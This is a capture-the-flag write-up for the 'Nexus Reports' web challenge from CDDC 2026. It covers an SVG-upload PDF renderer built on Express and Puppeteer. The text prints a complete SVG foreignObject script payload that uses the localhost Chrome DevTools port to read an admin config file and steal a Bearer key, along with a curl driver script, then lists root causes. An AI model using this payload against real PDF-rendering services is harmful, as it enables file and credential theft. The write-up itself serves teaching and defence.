← All writeups

Web

CDDC 2026 — Nexus Reports

Target: http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7220 Category: Web / SSRF / Headless Chromium Flag: CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}


Recon

Nexus Reports is an Express + Puppeteer 21.11.0 service that turns a user-uploaded SVG logo + JSON metrics into a printable PDF.

Externally interesting endpoints:

Endpoint Notes
GET / HTML form, comment leaks TODO: disable debug endpoints before public launch (/health)
GET /health Reveals mounts and upstreams (see below)
POST /upload-logo Multipart logo=<svg>; user identity from X-User-Id header
POST /generate-report JSON {title, quarter, sales_data}; inlines uploaded SVG into HTML template
GET /preview/:userId/:reportId Serves the rendered HTML briefly
GET /download/:userId/:reportId Serves the PDF
GET /api/svg-features Returns currentMode: "basic", lists upgrade endpoint
POST /api/enable-advanced 401 unless authorised

/health is gold:

{
  "mounts": {
    "pdf_cache": "/tmp/pdf-cache/",
    "upload_path": "/app/uploads/",
    "chrome_profile": "/tmp/chrome-data/",
    "admin_secret": "/etc/admin/ (ro)"
  },
  "upstreams": { "admin_api": "http://internal-admin:8080" },
  "puppeteer_version": "21.11.0"
}

So we want either /etc/admin/... or the internal admin API behind it.

internal-admin (probed later via SSRF) advertises:

{
  "endpoints": [
    {"method":"GET","path":"/","auth":false},
    {"method":"GET","path":"/health","auth":false},
    {"method":"GET","path":"/api/flag","auth":true}
  ],
  "authentication": {
    "scheme": "Bearer",
    "api_key_location": "/etc/admin/config.json"
  }
}

So the flag is at internal-admin:8080/api/flag and the Bearer key is in /etc/admin/config.json.


Building blocks

1. SVG sanitizer surface

Uploaded SVGs are XML-parsed by a custom sanitizer. Errors leak the validator source:

"_debug":"validator code: if (tagName === \"foreignobject\") { if (!allowAdvanced) return err; return null; }"

Mapped allow/deny by sending one element at a time:

The SVG is inlined verbatim into the report HTML, so anything that survives upload runs in the puppeteer page.

Quick confirmation that inline <style> inside the SVG applies to the whole document — the following payload makes STYLE_INJECTION_WORKS appear in the PDF:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <style>body::before{content:"STYLE_INJECTION_WORKS"!important;display:block;font-size:40px;color:blue}</style>
</svg>

2. ALB session stickiness matters

There are multiple backends. Uploaded files live on the local disk of one instance, so the /generate-report call must hit the same instance that received the upload. Grab AWSALB/AWSALBCORS cookies once and reuse them for the whole chain.

3. Unlocking <foreignObject>

GET /api/svg-features returns a response header X-Upgrade-Token: ae6ced5432f311f0c3390fda6189a534083fc505da4b8ec06c119bfb8c5027a8.

The trick is twofold: the token is only honoured as Authorization: Bearer … on POST /api/enable-advanced, and the resulting "advanced" state lives in per-process memory — you must reuse the ALB cookie so the subsequent POST /upload-logo lands on the same backend.

curl -c cj.txt "$BASE/api/svg-features" > /dev/null               # grab AWSALB cookie
curl -c cj.txt -b cj.txt -X POST "$BASE/api/enable-advanced" \
     -H "Authorization: Bearer $TOK" -H "X-User-Id: $UID"
curl -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
     -F "logo=@payload.svg;type=image/svg+xml" "$BASE/upload-logo"

Now <foreignObject> is accepted. Even better: the sanitizer does not recurse into HTML children of <foreignObject>, so <script> works inside it:

<svg xmlns="http://www.w3.org/2000/svg" width="800" height="800">
  <foreignObject width="800" height="800">
    <script xmlns="http://www.w3.org/1999/xhtml">document.title='PWN'</script>
  </foreignObject>
</svg>

Confirmed by reading the generated PDF metadata: /Title (PWN). We have JavaScript execution inside Puppeteer.

4. What the puppeteer renderer can reach

location.href === 'about:blank', origin === 'null'. From this null origin:

Crucially: http://localhost:9222/json/list returns Chrome DevTools Protocol target data — the headless chromium was started with --remote-debugging-port=9222 bound to localhost. Listing the targets:

[{
  "id": "9754CDFB22B7264D7DDAF0533BE353AC",
  "type": "page",
  "url": "about:blank",
  "title": "CDPX",
  "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/9754CDFB22B7264D7DDAF0533BE353AC"
}]

CDP gives us anything Chrome can do, including loading file:// URLs (CDP itself runs in the browser process, not in a sandboxed renderer).

5. The async/PDF timing problem

Puppeteer fires page.pdf() essentially right after the load event. Async fetches that haven't resolved don't make it into the PDF (_debug: "renderer: async ops may not complete before page close").

Two findings:


Exploit

Full payload:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <style>
    .myflag {
      position: fixed !important;
      top: 50px !important; left: 0 !important;
      width: 100% !important; background: white !important;
      z-index: 999999 !important; color: black !important;
      padding: 5px !important; font-size: 10px !important;
      line-height: 1.2 !important; white-space: pre-wrap !important;
      word-break: break-all !important; font-family: monospace !important;
    }
  </style>
  <foreignObject width="100" height="100"><body xmlns="http://www.w3.org/1999/xhtml">
    <script>
      var d = document.createElement('div');
      d.className = 'myflag';
      d.textContent = '...';
      document.body.appendChild(d);

      (async function () {
        try {
          // 1. Open /etc/admin/config.json in a new chromium target via CDP HTTP
          var r = await fetch('http://localhost:9222/json/new?file:///etc/admin/config.json',
                              {method: 'PUT'});
          var data = await r.json();
          await new Promise(r => setTimeout(r, 700));

          // 2. Attach to that target via the CDP WebSocket
          var ws = new WebSocket(data.webSocketDebuggerUrl);
          await new Promise(r => { ws.onopen = r; });

          // 3. Read the file content with Runtime.evaluate
          var cfgResp = await new Promise(r => {
            ws.onmessage = e => r(e.data);
            ws.send(JSON.stringify({
              id: 1, method: 'Runtime.evaluate',
              params: { expression: 'document.body.innerText', returnByValue: true }
            }));
          });
          ws.close();

          var cfg = JSON.parse(JSON.parse(cfgResp).result.result.value);

          // 4. Call internal-admin with the extracted Bearer key
          var fr = await fetch('http://internal-admin:8080/api/flag', {
            headers: { 'Authorization': 'Bearer ' + cfg.admin_api_key }
          });
          var flag = JSON.parse(await fr.text()).flag;
          d.textContent = flag + '|' + flag + '|' + flag;   // duplicate for OCR safety
        } catch (e) {
          d.textContent = 'ERR: ' + e.message;
        }
      })();
    </script>
    <!-- 1000 sync scripts to delay the load event so the async chain above finishes -->
    <script src="http://localhost:7220/health?d=1"></script>
    <script src="http://localhost:7220/health?d=2"></script>
    ...
    <script src="http://localhost:7220/health?d=1000"></script>
  </body></foreignObject>
</svg>

Driver:

BASE="http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7220"
TOK="ae6ced5432f311f0c3390fda6189a534083fc505da4b8ec06c119bfb8c5027a8"
UID="exploit_$RANDOM"

rm -f cj.txt
curl -s -c cj.txt "$BASE/api/svg-features" > /dev/null
curl -s -c cj.txt -b cj.txt -X POST "$BASE/api/enable-advanced" \
     -H "Authorization: Bearer $TOK" -H "X-User-Id: $UID"
curl -s -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
     -F "logo=@payload.svg;type=image/svg+xml" "$BASE/upload-logo"

RID=$(curl -s -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
        -H "Content-Type: application/json" "$BASE/generate-report" \
        -d '{"title":"F","quarter":"Q1","sales_data":"{\"a\":1}"}' \
      | sed -n 's/.*"reportId":"\([^"]*\)".*/\1/p')

sleep 15
curl -s -b cj.txt "$BASE/download/$UID/$RID" -o out.pdf
pdftotext out.pdf - | grep -oE 'CDDC2026\{[^}]+\}'

Output PDF text:

CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}|CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}|CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}

Flag

CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}

Root causes

  1. Custom SVG sanitizer with chatty debug output. The _debug field handed us the validator source and the existence of an "advanced" mode.
  2. In-process feature flag tied to a globally-leaked Bearer token. The token is in a response header on a 200, and toggling state with it is gated only by ALB stickiness.
  3. Sanitizer doesn't recurse into <foreignObject> children. Once advanced mode is on, the <script> deny-list doesn't apply inside foreignObject, giving full XSS in the PDF render.
  4. --remote-debugging-port=9222 exposed on localhost of the puppeteer container. Any JS in the rendered page (which is on the same host) gets browser-process privileges through CDP, bypassing the renderer sandbox's file:// restrictions.
  5. Sensitive material on the puppeteer container's filesystem (/etc/admin/config.json), readable once you can drive CDP.

Suggested fixes